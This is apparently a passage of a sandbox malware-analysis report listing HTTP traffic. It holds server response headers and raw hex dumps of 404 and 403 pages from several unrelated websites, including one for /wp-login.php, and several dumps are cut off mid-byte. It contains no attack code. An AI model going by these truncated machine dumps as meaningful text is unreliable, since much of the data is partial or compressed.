0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 35 0d 0a 77 65 62 6d 61 73 74 65 72 40 66 69 6e 61 6e 63 65 66 61 73 74 2e 63 6f 6d 2e 62 72 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 64 0d 0a 77 65 62 6d 61 73 74 65 72 40 66 69 6e 61
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheAccept-Ranges: bytesVary: Accept-EncodingCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 1699Content-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2c 20 68 31 2c 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 53 65 67 6f 65 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 36 20 7b 0a 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 0a 2e 6c 65 61 64 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 31 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 7d 0a 0a 70 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 0a 7d 0a 0a 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 33 32
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-234.ec2.internalX-Request-Id: 1875a92b-54bb-4cb4-94f5-3d85adb37108Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTServer: ApacheVary: accept-language,accept-charset,User-AgentAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Content-Language: enData Raw: 63 38 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 33 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 62 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 3e 77 65 62 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://lumaruniformes.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 13939Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 d5 b2 db 76 e3 c6 96 25 fa 9c fa 0a 24 7c 9c 12 bd 89 1b 6f 92 28 51 1e de be d4 71 1f df da 69 d7 ae 3e 96 07 47 00 58 00 22 15 88 80 23 02 a4 98 da fa 97 d3 8f f5 d0 0f 3d ea 0f da 3f 76 16 2e 24 41 12 90 94 99 ca 5d bb 7c 11 03 eb 32 d7 5c 73 cd cb 97 a1 08 f4 2a 03 23 d1 29 bb 3a ba 2c 7e 0c 46 78 3c 33 41 59 df ff 9b 59 c4 80 84 57 47 2f 2e 53 d0 c4 08 12 22 15 e8 99 f9 eb 2f df 58 67 e6 26 ce 49 0a 33 73 41 61 99 09 a9 4d 23 10 5c 03 c7 ba 25 0d 75 32 0b 61 41 03 b0 ca 8f be 41 39 d5 94 30 4b 05 84 c1 cc 2b 51 18 e5 37 86 04 36 33 33 29 22 ca c0 34 12 09 d1 cc 4c b4 ce d4 d4 71 e2 34 8b 6d 21 63 e7 36 e2 8e 57 35 69 aa 19 5c fd 20 0c 05 06 f0 62 a6 fc f3 3f 90 bf 91 fd f9 3f 63 ca 89 f1 ea 93 b3 81 e7 5d 18 df e5 29 91 c6 af 9c 46 42 a6 a0 2e 9d aa f3 a8 41 fe 58 0a 5f 68 75 bc a1 7e 9c 92 5b 8b a6 24 06 2b 93 50 ac 36 65 44 c6 70 6c 38 d8 b8 e5 4b 98 06 c9 89 46 c6 85 94 18 c8 32 46 03 a2 a9 e0 8e 54 ea 2f b7 29 c3 54 31 70 66 ee 11 31 5e 49 f2 47 2e 2e 8c 6f 00 c2 fd 8d 59 51 9b af 4b ed 40 a4 4e 84 65 8e f9 31 08 fc fc fa b5 11 82 c1 84 42 01 52 dc 9f 48 2a d4 13 28 e1 ff 45 b9 6a 72 53 81 a4 99 be 3a 5a 52 1e 8a a5 3d 5f 66 90 8a 37 f4 35 68 4d 79 ac 8c 99 71 67 fa 44 c1 af 92 99 d3 1a fc da b9 76 94 bd 2c 4e 7c ed 94 b2 ab 6b 04 97 70 ed 94 cd d7 8e 37 b2 5d db bd 76 4e 07 b7 a7 83 6b c7 ec 9b 70 ab b1 df ce 78 8c 1f 6a 11 bf 1f 1e 36 96 68 f8 fb 75 05 88 af e2 5b e4 32 00 73 7a 67 a2 25 50 ce b2 ad c6 2f e1 0f d5 b8 76 96 99 45 79 c0 f2 b0 18 f7 46 95 81 b2 d1 c2 5b 01 ee 6c a7 94 db 6f d4 e7 0b 90 b3 89 3d b2 3d f3 fe fe e2 c8 f9 ec a5 f1 4b 42 95 11 51 06 06 fe 92 5c 0b 2b 06 0e 12 07 87 c6 67 ce d1 cb 28 e7 41 71 d3 13 da e7 bd bb 05 9e 51 f4 55 1f 2e d6 71 23 38 81 de 9d 96 ab 32 a7 67 77 2a cf 32 21 f5 2f a0 b4 9a 42 5f 53 64 a9 49 9a 4d 4f 38 2c 8d af 10 b8 67 2f 08 cb e1 c7 e8 a4 77 7f a1 40 29 84 79 ad 85 44 b5 6c 05 fa 5b dc f9 44 f4 ff db eb 1f 7f b0 95 96 78 3b 1a ad 4e 74 af 77 8f 72 04 49 31 ee fe 7e 33 3e 3b c1 19 05 35 b0 03 5c 55 fe 0c 81 3e 71 fb 6e 1f bf 09 5f 10 bc 06 0d 75 b2 fd 4c 80 c6 89 ee 61 00 b7 66 bf e0 35 4f 34 96 bb bd 8b 6a 81 82 e5 af 94 eb e1 e0 0b 29 c9 ea 04 ec 18 39 15 a7 44 ee e4 29 d0 76 88 85 bd be 9c 9d 7c 00 27 5e 72 ea 3f 17 9b de 85 04 9d 4b 6e 68 1b d0 04 ab 93 cd 5d 51 be de 5d 9d 84 d9 6c 26 7f d3 bf df f7 b6 02 e7 6b 81 d5 92 16 f2 63 75 80 8e 32 23 46 62 73 5a 37 16 30 e6 75 1e 9e 0d 03 fc 1b 45 c3 eb 3c 02 37 ba ce 07 ae 1b e2 df 09 39 ad 22 66 67 99 bf 53 d6 fb fc a5 37 7d b9 0b 1b 46 a4 f1 1e 9a fb a9 0a a4 51 d0 7b f5 ea e5 3e b3 11 fe f5 47 2e fe 0d 26 a7 8d f7
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Sun, 26 Nov 2023 05:59:24 GMTContent-Length: 0Connection: keep-alivex-backend: deny_backendStrict-Transport-Security: max-age=31536000; includeSubDomains
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16Content-Length: 210Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 77 70 2d 6c 6f 67 69 6e 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /wp-login.php was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: awselb/2.0Date: Sun, 26 Nov 2023 05:59:33 GMTContent-Type: text/htmlContent-Length: 118Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Sun, 26 Nov 2023 05:59:33 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.grg17geblergasse.at/wp-json/>; rel="https://api.w.org/"Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 33 64 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 47 52 47 31 37 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 6c 65 74 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 5d 2c 6a 51 75 65 72 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 6a 51 75 65 72 79 7d 2c 24 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 24 7d 3b 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 3d 6a 51 75 65 72 79 2c 77 69 6e 64 6f 77 2e 24 3d 6a 51 75 65 72 79 3b 6c 65 74 20 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 31 3b 6a 51 75 65 72 79 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 24 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 69 66 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 72 65 74 75 72 6e 20 6a 51 75 65 72 79 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 24 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 30 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 7d 2c 6a 51 75 65 72 79 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 7d 2c 24 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28
